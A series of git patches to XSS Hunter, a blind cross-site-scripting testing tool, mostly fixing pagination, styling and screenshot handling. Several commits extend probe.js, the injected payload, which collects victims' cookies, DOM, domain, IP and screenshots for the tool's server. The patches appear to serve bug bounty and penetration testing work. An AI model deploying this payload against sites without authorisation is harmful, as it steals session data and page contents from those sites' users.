From e0179ad836d097bea2e59709af2412888b8b2fca Mon Sep 17 00:00:00 2001 From: Carl Sampson Date: Mon, 19 Sep 2016 09:32:13 -0400 Subject: [PATCH 01/12] Added uploads folder. The app will throw a 500 error when uploading screenshots if this isn't present. --- api/uploads/README.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 api/uploads/README.md diff --git a/api/uploads/README.md b/api/uploads/README.md new file mode 100644 index 0000000..83338b5 --- /dev/null +++ b/api/uploads/README.md @@ -0,0 +1 @@ +Folder that screenshots go in. From 669bad6335b61f6481e067e8b2c3fa2936764aa0 Mon Sep 17 00:00:00 2001 From: Iliana Panagopoulou Date: Mon, 20 Feb 2017 15:04:54 +0200 Subject: [PATCH 02/12] Added installation for python-yaml On Ubuntu 16.04 LTS python-yaml is not installed, so I added a few lines to help automate the installation of the project. If this gets accepted I can add more distros (e.g not "apt-get" ones) if needed. --- generate_config.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/generate_config.py b/generate_config.py index 2af17d7..c99c964 100755 --- a/generate_config.py +++ b/generate_config.py @@ -2,6 +2,11 @@ import binascii import yaml import os +import platform + +if "Ubuntu" in platform.dist()[0]: + if "16.04" in platfrom.dist()[1]: + os.system("sudo apt install python-yaml") nginx_template = """ server { From 4600d0236afb6cbe5b61251ecfdd0e1bd855a70c Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Sat, 25 Feb 2017 19:11:38 +0000 Subject: [PATCH 03/12] Don't display screenshot if unable to capture --- api/apiserver.py | 5 ++++- api/probe.js | 3 +++ generate_config.py | 2 +- gui/static/css/mainapp.css | 4 ++-- gui/static/js/app.js | 10 ++++++---- 5 files changed, 16 insertions(+), 8 deletions(-) diff --git a/api/apiserver.py b/api/apiserver.py index 336c09f..0b448b2 100755 --- a/api/apiserver.py +++ b/api/apiserver.py @@ -196,7 +196,10 @@ def upload_screenshot( base64_screenshot_data_uri ): return screenshot_filename def record_callback_in_database( callback_data, request_handler ): - screenshot_file_path = upload_screenshot( callback_data["screenshot"] ) + if len(callback_data["screenshot"]) > 0: + screenshot_file_path = upload_screenshot( callback_data["screenshot"] ) + else: + screenshot_file_path = '' injection = Injection( vulnerable_page=callback_data["uri"].encode("utf-8"), victim_ip=callback_data["ip"].encode("utf-8"), diff --git a/api/probe.js b/api/probe.js index 471413b..a5bdf08 100644 --- a/api/probe.js +++ b/api/probe.js @@ -205,6 +205,9 @@ function hook_load_if_not_ready() { html2canvas(document.body).then(function(canvas) { probe_return_data['screenshot'] = canvas.toDataURL(); finishing_moves(); + }).catch(function() { + probe_return_data['screenshot'] = ''; + finishing_moves(); }); } catch( e ) { probe_return_data['screenshot'] = ''; diff --git a/generate_config.py b/generate_config.py index c99c964..1ebd2e7 100755 --- a/generate_config.py +++ b/generate_config.py @@ -5,7 +5,7 @@ import platform if "Ubuntu" in platform.dist()[0]: - if "16.04" in platfrom.dist()[1]: + if "16.04" in platform.dist()[1]: os.system("sudo apt install python-yaml") nginx_template = """ diff --git a/gui/static/css/mainapp.css b/gui/static/css/mainapp.css index 0b3a0e1..a77e529 100644 --- a/gui/static/css/mainapp.css +++ b/gui/static/css/mainapp.css @@ -49,7 +49,7 @@ label { } .xss_fire_thumbnail_column { - max-width: 400px; + max-width: 200px; } .victim_ip_address_column { @@ -155,7 +155,7 @@ li.L5, li.L6, li.L7, li.L8 .xss_fire_thumbnail_image { width: 100%; - max-height: 400px; + max-height: 200px; cursor: pointer; } diff --git a/gui/static/js/app.js b/gui/static/js/app.js index 3717816..815a628 100644 --- a/gui/static/js/app.js +++ b/gui/static/js/app.js @@ -193,10 +193,12 @@ function display_full_report( id ) { var generate_markdown_report_button = $.parseHTML( '' )[0]; full_report_row.querySelector( ".full_report_markdown" ).appendChild( generate_markdown_report_button ); - var screenshot_link = API_SERVER + "/" + injection["screenshot"]; + if( injection["screenshot"].length > 0 ) { + var screenshot_link = API_SERVER + "/" + injection["screenshot"]; - full_report_row.querySelector( ".full_report_screenshot" ).src = screenshot_link; - full_report_row.querySelector( ".full_report_screenshot_link" ).href = screenshot_link; + full_report_row.querySelector( ".full_report_screenshot" ).src = screenshot_link; + full_report_row.querySelector( ".full_report_screenshot_link" ).href = screenshot_link; + } $('#injection_data_table > tbody > tr').eq( i ).after( full_report_row.outerHTML ); @@ -324,7 +326,7 @@ function append_collected_page_row( collected_page_data ) { function append_xss_fire_row( injection_data ) { var example_row = $.parseHTML( '')[0]; example_row.id = injection_data["id"]; - example_row.querySelector( ".xss_fire_thumbnail_image" ).src = API_SERVER + "/" + injection_data["screenshot"]; + if( injection_data["screenshot"].length > 0 ) example_row.querySelector( ".xss_fire_thumbnail_image" ).src = API_SERVER + "/" + injection_data["screenshot"]; example_row.querySelector( ".ip_address_trace_link" ).href = "http://www.ip-tracker.org/locator/ip-lookup.php?ip=" + injection_data["victim_ip"]; example_row.querySelector( ".ip_address_trace_link" ).text = injection_data["victim_ip"]; example_row.querySelector( ".vulnerable_page_uri" ).text = injection_data["vulnerable_page"]; From 707fa7d89c9aa3f2ca0b562dbbcb4a0f1bb347d9 Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Mon, 27 Feb 2017 20:01:44 +0000 Subject: [PATCH 04/12] Adding vulnerable_domain & document.body to XSS_fires --- api/apiserver.py | 8 +++++++- api/models/injection_record.py | 4 +++- api/probe.js | 15 ++++++++++++--- gui/static/css/mainapp.css | 4 ++++ gui/static/js/app.js | 13 +++++++++++-- gui/templates/mainapp_xss_fires.htm | 1 + 6 files changed, 38 insertions(+), 7 deletions(-) diff --git a/api/apiserver.py b/api/apiserver.py index 0b448b2..5beb51f 100755 --- a/api/apiserver.py +++ b/api/apiserver.py @@ -202,6 +202,8 @@ def record_callback_in_database( callback_data, request_handler ): screenshot_file_path = '' injection = Injection( vulnerable_page=callback_data["uri"].encode("utf-8"), + vulnerable_domain=callback_data["domain"].encode("utf-8"), + document_body=callback_data["document-body"], victim_ip=callback_data["ip"].encode("utf-8"), referer=callback_data["referrer"].encode("utf-8"), user_agent=callback_data["user-agent"].encode("utf-8"), @@ -506,7 +508,11 @@ def delete( self ): self.logit( "User delted injection record with an id of " + injection_db_record.id + "(" + injection_db_record.vulnerable_page + ")") - os.remove( injection_db_record.screenshot ) + try: + os.remove( injection_db_record.screenshot ) + except OSError as e: + self.logit("Screenshot doesn't exist - " + injection_db_record.screenshot) + pass injection_db_record = session.query( Injection ).filter_by( id=str( delete_data.get( "id" ) ) ).delete() session.commit() diff --git a/api/models/injection_record.py b/api/models/injection_record.py index 19a1970..2efc044 100644 --- a/api/models/injection_record.py +++ b/api/models/injection_record.py @@ -10,6 +10,8 @@ class Injection(Base): type = Column(String(100)) # JavaScript/Image injection_timestamp = Column(Integer()) vulnerable_page = Column(String(3000)) + vulnerable_domain = Column(String(300)) + document_body = Column(Boolean(), default=False, nullable=False) victim_ip = Column(String(100)) referer = Column(String(3000)) user_agent = Column(String(3000)) @@ -25,7 +27,7 @@ def generate_injection_id( self ): self.id = binascii.hexlify(os.urandom(50)) def get_injection_blob( self ): - exposed_attributes = [ "id", "vulnerable_page", "victim_ip", "referer", "user_agent", "cookies", "dom", "origin", "screenshot", "injection_timestamp", "correlated_request", "browser_time" ] + exposed_attributes = [ "id", "document_body", "vulnerable_domain", "vulnerable_page", "victim_ip", "referer", "user_agent", "cookies", "dom", "origin", "screenshot", "injection_timestamp", "correlated_request", "browser_time" ] return_dict = {} for attribute in exposed_attributes: diff --git a/api/probe.js b/api/probe.js index a5bdf08..f9530fda 100644 --- a/api/probe.js +++ b/api/probe.js @@ -153,7 +153,18 @@ function addEvent(element, eventName, fn) { probe_return_data = {}; +if( document.body ) { + probe_return_data["document-body"] = true; +} else { + probe_return_data["document-body"] = false; +} + // Prevent failure incase the browser refuses to give us any of the probe data. +try { + probe_return_data['domain'] = never_null( document.domain ); +} catch ( e ) { + probe_return_data['domain'] = ''; +} try { probe_return_data['uri'] = never_null( location.toString() ); } catch ( e ) { @@ -226,7 +237,5 @@ function finishing_moves() { if( document.readyState == "complete" ) { hook_load_if_not_ready(); } else { - addEvent( window, "load", function(){ - hook_load_if_not_ready(); - }); + setTimeout(hook_load_if_not_ready(), 6666); } diff --git a/gui/static/css/mainapp.css b/gui/static/css/mainapp.css index a77e529..ef7b774 100644 --- a/gui/static/css/mainapp.css +++ b/gui/static/css/mainapp.css @@ -139,6 +139,10 @@ li.L5, li.L6, li.L7, li.L8 width: 100%; } +.full_report_vulnerable_domain { + color: black; +} + .vulnerable_page_uri_column { max-width: 0; overflow: hidden; diff --git a/gui/static/js/app.js b/gui/static/js/app.js index 815a628..8e23c80 100644 --- a/gui/static/js/app.js +++ b/gui/static/js/app.js @@ -136,7 +136,7 @@ function display_full_report( id ) { var markdown_template = "# XSS Hunter Report\r\n\r\nThe page located at `{{vulnerable_page}}` suffers from a Cross-site Scripting (XSS) vulnerability. XSS is a vulnerability which occurs when user input is unsafely encorporated into the HTML markup inside of a webpage. When not properly escaped an attacker can inject malicious JavaScript that, once evaluated, can be used to hijack authenticated sessions and rewrite the vulnerable page\'s layout and functionality. The following report contains information on an XSS payload that has fired on `{{origin}}`, it can be used to reproduce and remediate the vulnerability.\r\n\r\n### XSS Payload Fire Details\r\n##### Vulnerable Page\r\n`{{vulnerable_page}}`\r\n\r\n##### Victim IP Address\r\n`{{victim_ip}}`\r\n\r\n##### Referer\r\n`{{referer}}`\r\n\r\n##### User Agent\r\n`{{user_agent}}`\r\n\r\n##### Cookies (Non-HTTPOnly)\r\n`{{cookies}}`\r\n\r\n##### Document Object Model (DOM)\r\n```html\n{{dom}}\n```\r\n\r\n##### Injection Point (Raw HTTP Request)\r\n```http\n{{correlated_request}}\r\n```\n\r\n\r\n##### Origin\r\n`{{origin}}`\r\n\r\n##### HTML5 Canvas-Rendered Screenshot\r\nhttps:\/\/api." + BASE_DOMAIN + "\/{{screenshot}}\r\n\r\n##### Injection Timestamp\r\n`{{injection_timestamp}}`\r\n\r\n## Remediation\r\nFor more information about Cross-site Scripting and remediation of the issue, see the following resources:\r\n\r\n* [Cross-site Scripting (XSS) - OWASP](https:\/\/www.owasp.org\/index.php\/Cross-site_Scripting_(XSS))\r\n* [XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP](https:\/\/www.owasp.org\/index.php\/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n* [What is Cross-site Scripting and How Can You Fix it?](https:\/\/www.acunetix.com\/websitesecurity\/cross-site-scripting\/)\r\n* [An Introduction to Content Security Policy - HTML5 Rocks](http:\/\/www.html5rocks.com\/en\/tutorials\/security\/content-security-policy\/)\r\n* [Why is the same origin policy so important? - Information Security Stack Exchange](https:\/\/security.stackexchange.com\/questions\/8264\/why-is-the-same-origin-policy-so-important)\r\n\r\n*This report was generated by an XSS Hunter server: https://github.com/mandatoryprogrammer/xsshunter*"; $( ".full_injection_report_expanded" ).remove(); - var full_report_row = $.parseHTML( '

Vulnerable Page URL

Execution Origin

User IP Address

Referer

Victim User Agent

Cookies

DOM

Injection Point (Raw HTTP Request)

Markdown Report

')[0]; + var full_report_row = $.parseHTML( '

Vulnerable Page URL

Document Body Available

Execution Origin

User IP Address

Referer

Victim User Agent

Cookies

DOM

Injection Point (Raw HTTP Request)

Markdown Report

')[0]; var i = get_injection_row_offset( id ); var injection = get_injection_data_from_id( id ); @@ -147,6 +147,8 @@ function display_full_report( id ) { } } + full_report_row.querySelector( ".full_report_vulnerable_domain" ).innerText = injection["vulnerable_domain"]; + var vulnerable_page_link = document.createElement( "a" ); if( is_safe_uri( injection["vulnerable_page"] ) ) { vulnerable_page_link.href = injection["vulnerable_page"]; @@ -155,6 +157,12 @@ function display_full_report( id ) { vulnerable_page_link.text = injection["vulnerable_page"]; full_report_row.querySelector( ".full_report_vulnerable_page_url" ).appendChild( vulnerable_page_link ); + if( injection["document_body"] == true) { + full_report_row.querySelector( ".full_report_body" ).innerText = "TRUE"; + } else { + full_report_row.querySelector( ".full_report_body" ).innerText = "FALSE"; + } + var victim_ip_trace_link = document.createElement( "a" ); victim_ip_trace_link.href = "http://www.ip-tracker.org/locator/ip-lookup.php?ip=" + injection["victim_ip"]; victim_ip_trace_link.target = "_blank"; @@ -324,8 +332,9 @@ function append_collected_page_row( collected_page_data ) { } function append_xss_fire_row( injection_data ) { - var example_row = $.parseHTML( '')[0]; + var example_row = $.parseHTML( '
')[0]; example_row.id = injection_data["id"]; + example_row.querySelector( ".vulnerable_domain" ).innerText = injection_data["vulnerable_domain"]; if( injection_data["screenshot"].length > 0 ) example_row.querySelector( ".xss_fire_thumbnail_image" ).src = API_SERVER + "/" + injection_data["screenshot"]; example_row.querySelector( ".ip_address_trace_link" ).href = "http://www.ip-tracker.org/locator/ip-lookup.php?ip=" + injection_data["victim_ip"]; example_row.querySelector( ".ip_address_trace_link" ).text = injection_data["victim_ip"]; diff --git a/gui/templates/mainapp_xss_fires.htm b/gui/templates/mainapp_xss_fires.htm index 45a6fa5..f061adf 100644 --- a/gui/templates/mainapp_xss_fires.htm +++ b/gui/templates/mainapp_xss_fires.htm @@ -3,6 +3,7 @@ + From 68f21d3d65df540678a46025e24bb230cdd334ea Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Mon, 27 Feb 2017 21:15:57 +0000 Subject: [PATCH 05/12] Fixing pagination --- gui/guiserver.py | 2 +- gui/static/css/main.css | 1 + gui/static/js/app.js | 18 ++++++++---------- 3 files changed, 10 insertions(+), 11 deletions(-) diff --git a/gui/guiserver.py b/gui/guiserver.py index 563a12a..74c4d03 100755 --- a/gui/guiserver.py +++ b/gui/guiserver.py @@ -19,7 +19,7 @@ def __init__(self, *args, **kwargs): self.set_header("X-XSS-Protection", "1; mode=block") self.set_header("X-Content-Type-Options", "nosniff") self.set_header("Server", "") - self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'") + self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'; child-src 'self'") def compute_etag( self ): return None diff --git a/gui/static/css/main.css b/gui/static/css/main.css index f17dd33..4486c3d 100644 --- a/gui/static/css/main.css +++ b/gui/static/css/main.css @@ -26,4 +26,5 @@ body { } .panel-body { margin-bottom: 20px; + word-wrap: break-word; } diff --git a/gui/static/js/app.js b/gui/static/js/app.js index 8e23c80..842e6b6 100644 --- a/gui/static/js/app.js +++ b/gui/static/js/app.js @@ -136,7 +136,7 @@ function display_full_report( id ) { var markdown_template = "# XSS Hunter Report\r\n\r\nThe page located at `{{vulnerable_page}}` suffers from a Cross-site Scripting (XSS) vulnerability. XSS is a vulnerability which occurs when user input is unsafely encorporated into the HTML markup inside of a webpage. When not properly escaped an attacker can inject malicious JavaScript that, once evaluated, can be used to hijack authenticated sessions and rewrite the vulnerable page\'s layout and functionality. The following report contains information on an XSS payload that has fired on `{{origin}}`, it can be used to reproduce and remediate the vulnerability.\r\n\r\n### XSS Payload Fire Details\r\n##### Vulnerable Page\r\n`{{vulnerable_page}}`\r\n\r\n##### Victim IP Address\r\n`{{victim_ip}}`\r\n\r\n##### Referer\r\n`{{referer}}`\r\n\r\n##### User Agent\r\n`{{user_agent}}`\r\n\r\n##### Cookies (Non-HTTPOnly)\r\n`{{cookies}}`\r\n\r\n##### Document Object Model (DOM)\r\n```html\n{{dom}}\n```\r\n\r\n##### Injection Point (Raw HTTP Request)\r\n```http\n{{correlated_request}}\r\n```\n\r\n\r\n##### Origin\r\n`{{origin}}`\r\n\r\n##### HTML5 Canvas-Rendered Screenshot\r\nhttps:\/\/api." + BASE_DOMAIN + "\/{{screenshot}}\r\n\r\n##### Injection Timestamp\r\n`{{injection_timestamp}}`\r\n\r\n## Remediation\r\nFor more information about Cross-site Scripting and remediation of the issue, see the following resources:\r\n\r\n* [Cross-site Scripting (XSS) - OWASP](https:\/\/www.owasp.org\/index.php\/Cross-site_Scripting_(XSS))\r\n* [XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP](https:\/\/www.owasp.org\/index.php\/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n* [What is Cross-site Scripting and How Can You Fix it?](https:\/\/www.acunetix.com\/websitesecurity\/cross-site-scripting\/)\r\n* [An Introduction to Content Security Policy - HTML5 Rocks](http:\/\/www.html5rocks.com\/en\/tutorials\/security\/content-security-policy\/)\r\n* [Why is the same origin policy so important? - Information Security Stack Exchange](https:\/\/security.stackexchange.com\/questions\/8264\/why-is-the-same-origin-policy-so-important)\r\n\r\n*This report was generated by an XSS Hunter server: https://github.com/mandatoryprogrammer/xsshunter*"; $( ".full_injection_report_expanded" ).remove(); - var full_report_row = $.parseHTML( '')[0]; + var full_report_row = $.parseHTML( '')[0]; var i = get_injection_row_offset( id ); var injection = get_injection_data_from_id( id ); @@ -147,8 +147,6 @@ function display_full_report( id ) { } } - full_report_row.querySelector( ".full_report_vulnerable_domain" ).innerText = injection["vulnerable_domain"]; - var vulnerable_page_link = document.createElement( "a" ); if( is_safe_uri( injection["vulnerable_page"] ) ) { vulnerable_page_link.href = injection["vulnerable_page"]; @@ -374,15 +372,15 @@ function create_paginator_widget( count, offset, total, target_div_selector, pag var paginator_next_button = $.parseHTML( '
  • NEXT
  • ' )[0]; var paginator_number_button = $.parseHTML( '
  • ' )[0]; var pages = Math.ceil( total / count ); - var current_page = Math.ceil( offset / count ); + var current_page = Math.ceil( offset / count )+1; - if( current_page == 0 ) { + if( current_page == 1 ) { paginator_previous_button.className = paginator_previous_button.className + " disabled"; } paginator.appendChild( paginator_previous_button ); - for( var i = 0; i < pages; i++ ) { + for( var i = 1; i <= pages; i++ ) { var number_button_copy = paginator_number_button.cloneNode(true); if( i == current_page ) { @@ -394,7 +392,7 @@ function create_paginator_widget( count, offset, total, target_div_selector, pag paginator.appendChild( paginator_next_button ); - if( current_page >= ( pages - 1 ) ) { + if( current_page >= ( pages ) ) { paginator_next_button.className = paginator_next_button.className + " disabled"; } @@ -402,17 +400,17 @@ function create_paginator_widget( count, offset, total, target_div_selector, pag $( target_div_selector ).find( ".page_number" ).click(function() { current_page_number = parseInt( this.childNodes[0].text ); - page_change_callback( ( current_page_number * 5 ), 5 ); + page_change_callback( ( (current_page_number-1) * 5 ), 5 ); }); $( target_div_selector ).find( ".next_page_button" ).click(function() { next_page = ( parseInt( $( target_div_selector ).find(".page_number.active")[0].childNodes[0].text ) + 1 ) - page_change_callback( ( next_page * 5 ), 5 ); + page_change_callback( ( (next_page-1) * 5 ), 5 ); }); $( target_div_selector ).find( ".previous_page_button" ).click(function() { next_page = ( parseInt( $( target_div_selector ).find(".page_number.active")[0].childNodes[0].text ) - 1 ) - page_change_callback( ( next_page * 5 ), 5 ); + page_change_callback( ( (next_page-1) * 5 ), 5 ); }); } From 642421280022b6d829c9660db2559fe4cdf9dd48 Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Tue, 28 Feb 2017 01:04:47 +0000 Subject: [PATCH 06/12] Refresh xss_fire list after element deleted --- gui/static/js/app.js | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/gui/static/js/app.js b/gui/static/js/app.js index 842e6b6..bff7fb7 100644 --- a/gui/static/js/app.js +++ b/gui/static/js/app.js @@ -351,6 +351,9 @@ function append_xss_fire_row( injection_data ) { $( ".full_injection_report_expanded" ).remove(); } }); + current_page = parseInt( document.querySelector( ".page_number.active" ).childNodes[0].text ); + var begin = (document.querySelectorAll( ".xss_fire_row_template" ).length > 1 ? current_page-1 : current_page-2); + setTimeout(function(){populate_xss_fires( (begin * 5), 5 )}, 500); }); $("#resend_email_button_" + injection_data["id"] ).click( function() { @@ -374,7 +377,7 @@ function create_paginator_widget( count, offset, total, target_div_selector, pag var pages = Math.ceil( total / count ); var current_page = Math.ceil( offset / count )+1; - if( current_page == 1 ) { + if( current_page <= 1 ) { paginator_previous_button.className = paginator_previous_button.className + " disabled"; } From 479853570544dcb3fadfc0c6d154a6b55e9bef36 Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Wed, 1 Mar 2017 18:55:09 +0000 Subject: [PATCH 07/12] Ensure injection_key doesn't contain appended query string --- api/apiserver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/api/apiserver.py b/api/apiserver.py index 5beb51f..1b163a6 100755 --- a/api/apiserver.py +++ b/api/apiserver.py @@ -445,7 +445,7 @@ def get(self, path): new_probe = new_probe.replace( '[TEMPLATE_REPLACE_ME]', json.dumps( "" )) if self.request.uri != "/": - probe_id = self.request.uri.split( "/" )[1] + probe_id = self.request.uri.split('/')[1].split('?')[0] self.write( new_probe.replace( "[PROBE_ID]", probe_id ) ) else: self.write( new_probe ) From f7f6683dc8d4f7836234456d65a66a0aeabe6dee Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Thu, 9 Mar 2017 18:30:19 +0000 Subject: [PATCH 08/12] Fixing pagination for collected_pages --- gui/guiserver.py | 2 +- gui/static/js/app.js | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/gui/guiserver.py b/gui/guiserver.py index 74c4d03..b4a08b4 100755 --- a/gui/guiserver.py +++ b/gui/guiserver.py @@ -19,7 +19,7 @@ def __init__(self, *args, **kwargs): self.set_header("X-XSS-Protection", "1; mode=block") self.set_header("X-Content-Type-Options", "nosniff") self.set_header("Server", "") - self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'; child-src 'self'") + self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' data: api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'; child-src 'self'") def compute_etag( self ): return None diff --git a/gui/static/js/app.js b/gui/static/js/app.js index bff7fb7..fb87d46 100644 --- a/gui/static/js/app.js +++ b/gui/static/js/app.js @@ -309,7 +309,7 @@ function populate_collected_pages( offset, limit ) { } function append_collected_page_row( collected_page_data ) { - var example_row = $.parseHTML( '')[0]; + var example_row = $.parseHTML( '')[0]; example_row.id = collected_page_data["id"]; $( example_row ).find( ".collected_page_link" ).text( collected_page_data["uri"] ); if( is_safe_uri( collected_page_data["uri"] ) ) { @@ -326,6 +326,9 @@ function append_collected_page_row( collected_page_data ) { $( ".collected_page_full_page_view" ).remove(); } }); + current_page = parseInt( document.querySelectorAll( ".page_number.active" )[1].childNodes[0].text ); + var begin = (document.querySelectorAll( ".collected_pages_row_template" ).length > 1 ? current_page-1 : current_page-2); + setTimeout(function(){populate_collected_pages( (begin * 5), 5 )}, 500); }); } From 204c23e251fabc0316c1895fc2426adb4345e15d Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Wed, 28 Jun 2017 17:02:49 +0000 Subject: [PATCH 09/12] Tornado Server doesn't like json bodies with --- api/apiserver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/api/apiserver.py b/api/apiserver.py index 1b163a6..06bfa98 100755 --- a/api/apiserver.py +++ b/api/apiserver.py @@ -552,7 +552,7 @@ class InjectionRequestHandler( BaseHandler ): """ def post( self ): return_data = {} - request_dict = json.loads( self.request.body ) + request_dict = json.loads( self.request.body.replace('\r', '\\n') ) if not self.validate_input( ["request", "owner_correlation_key", "injection_key"], request_dict ): return From b1bdd34ca485b3a08cbfe28fcb456d746d39095a Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Thu, 8 Mar 2018 20:56:38 +0000 Subject: [PATCH 10/12] Adding block for injection refires from same victim within 15 minutes --- api/apiserver.py | 4 ++++ api/probe.js | 8 +++++--- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/api/apiserver.py b/api/apiserver.py index 06bfa98..d156604 100755 --- a/api/apiserver.py +++ b/api/apiserver.py @@ -444,6 +444,10 @@ def get(self, path): else: new_probe = new_probe.replace( '[TEMPLATE_REPLACE_ME]', json.dumps( "" )) + # Check recent callbacks + if 0 < session.query( Injection ).filter( Injection.victim_ip == self.request.remote_ip, Injection.injection_timestamp > time.time()-900 ).count(): + new_probe = 'Injection already recorded within last fifteen minutes' + if self.request.uri != "/": probe_id = self.request.uri.split('/')[1].split('?')[0] self.write( new_probe.replace( "[PROBE_ID]", probe_id ) ) diff --git a/api/probe.js b/api/probe.js index f9530fda..77fb11a 100644 --- a/api/probe.js +++ b/api/probe.js @@ -20,7 +20,7 @@ $$ | $$ |\$$$$$$$\ \$$$$$$$ |$$$$$$$ |\$$$$$$$\ $$ | $$ |\$$$$$$$\ This is a payload to test for Cross-site Scripting (XSS). It is meant to be used by security professionals and bug bounty hunters. -If you believe that this payload has been used to attempt to comprimise your service without permission, please contact us. +If you believe that this payload has been used to attempt to compromise your service without permission, please contact us. */ // https://github.com/niklasvh/html2canvas @@ -216,7 +216,7 @@ function hook_load_if_not_ready() { html2canvas(document.body).then(function(canvas) { probe_return_data['screenshot'] = canvas.toDataURL(); finishing_moves(); - }).catch(function() { + },function() { probe_return_data['screenshot'] = ''; finishing_moves(); }); @@ -237,5 +237,7 @@ function finishing_moves() { if( document.readyState == "complete" ) { hook_load_if_not_ready(); } else { - setTimeout(hook_load_if_not_ready(), 6666); + addEvent( window, "load", function(){ + hook_load_if_not_ready(); + }); } From 660f5026ea686a8050eab0763a5333b469a0a86c Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Fri, 30 Mar 2018 01:53:31 +0000 Subject: [PATCH 11/12] Adding date and removing domain from injection rows --- gui/static/css/mainapp.css | 22 +++++++++++++++++----- gui/static/js/app.js | 5 +++-- gui/templates/mainapp_xss_fires.htm | 5 +++-- 3 files changed, 23 insertions(+), 9 deletions(-) diff --git a/gui/static/css/mainapp.css b/gui/static/css/mainapp.css index ef7b774..5dbb436 100644 --- a/gui/static/css/mainapp.css +++ b/gui/static/css/mainapp.css @@ -48,12 +48,20 @@ label { text-align: center; } +.xss_fire_thumbnail_column_header { + width: 180px; +} + .xss_fire_thumbnail_column { - max-width: 200px; + width: 180px; } -.victim_ip_address_column { - max-width: 140px; +.injection_timestamp_column_header { + width: 200px; +} + +.victim_ip_address_column_header { + width: 140px; } .xss_payload_fire_options_column_header { @@ -150,8 +158,12 @@ li.L5, li.L6, li.L7, li.L8 white-space: nowrap; } +.injection_timestamp_column { + width: 200px; +} + .victim_ip_address_column { - max-width: 0; + max-width: 140px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; @@ -159,7 +171,7 @@ li.L5, li.L6, li.L7, li.L8 .xss_fire_thumbnail_image { width: 100%; - max-height: 200px; + max-height: 143px; cursor: pointer; } diff --git a/gui/static/js/app.js b/gui/static/js/app.js index fb87d46..be45941 100644 --- a/gui/static/js/app.js +++ b/gui/static/js/app.js @@ -333,9 +333,10 @@ function append_collected_page_row( collected_page_data ) { } function append_xss_fire_row( injection_data ) { - var example_row = $.parseHTML( '')[0]; + var example_row = $.parseHTML( '')[0]; example_row.id = injection_data["id"]; - example_row.querySelector( ".vulnerable_domain" ).innerText = injection_data["vulnerable_domain"]; + var time = new Date((injection_data["injection_timestamp"]*1000)); + example_row.querySelector( ".injection_timestamp" ).innerText = time.toLocaleString((navigator.languages && navigator.languages.length) ? navigator.languages[0] : "en-US"); if( injection_data["screenshot"].length > 0 ) example_row.querySelector( ".xss_fire_thumbnail_image" ).src = API_SERVER + "/" + injection_data["screenshot"]; example_row.querySelector( ".ip_address_trace_link" ).href = "http://www.ip-tracker.org/locator/ip-lookup.php?ip=" + injection_data["victim_ip"]; example_row.querySelector( ".ip_address_trace_link" ).text = injection_data["victim_ip"]; diff --git a/gui/templates/mainapp_xss_fires.htm b/gui/templates/mainapp_xss_fires.htm index f061adf..5bc223e 100644 --- a/gui/templates/mainapp_xss_fires.htm +++ b/gui/templates/mainapp_xss_fires.htm @@ -3,10 +3,11 @@
    Vulnerable Domain Thumbnail Victim IP Vulnerable Page URI

    Vulnerable Page URL

    Document Body Available

    Execution Origin

    User IP Address

    Referer

    Victim User Agent

    Cookies

    DOM

    Injection Point (Raw HTTP Request)

    Markdown Report

    Screen Capture

    Vulnerable Page URL

    Document Body Available

    Execution Origin

    User IP Address

    Referer

    Victim User Agent

    Cookies

    DOM

    Injection Point (Raw HTTP Request)

    Markdown Report

    - - + + + From 4b16e09c699cbfd7e8758a077dca60c7b7f3f524 Mon Sep 17 00:00:00 2001 From: Jason Calvert Date: Fri, 30 Mar 2018 08:12:25 +0000 Subject: [PATCH 12/12] Adding duplicate timeout for recording same injection within 15 minutes --- api/apiserver.py | 27 ++++++++++++++++++--------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/api/apiserver.py b/api/apiserver.py index d156604..13cfca8 100755 --- a/api/apiserver.py +++ b/api/apiserver.py @@ -61,7 +61,6 @@ def __init__(self, *args, **kwargs): self.set_header("Cache-Control", "no-cache, no-store, must-revalidate") self.set_header("Pragma", "no-cache") self.set_header("Expires", "0") - self.set_header("Server", "") self.request.remote_ip = self.request.headers.get( "X-Forwarded-For" ) @@ -196,7 +195,7 @@ def upload_screenshot( base64_screenshot_data_uri ): return screenshot_filename def record_callback_in_database( callback_data, request_handler ): - if len(callback_data["screenshot"]) > 0: + if len(callback_data["screenshot"]) > 0: screenshot_file_path = upload_screenshot( callback_data["screenshot"] ) else: 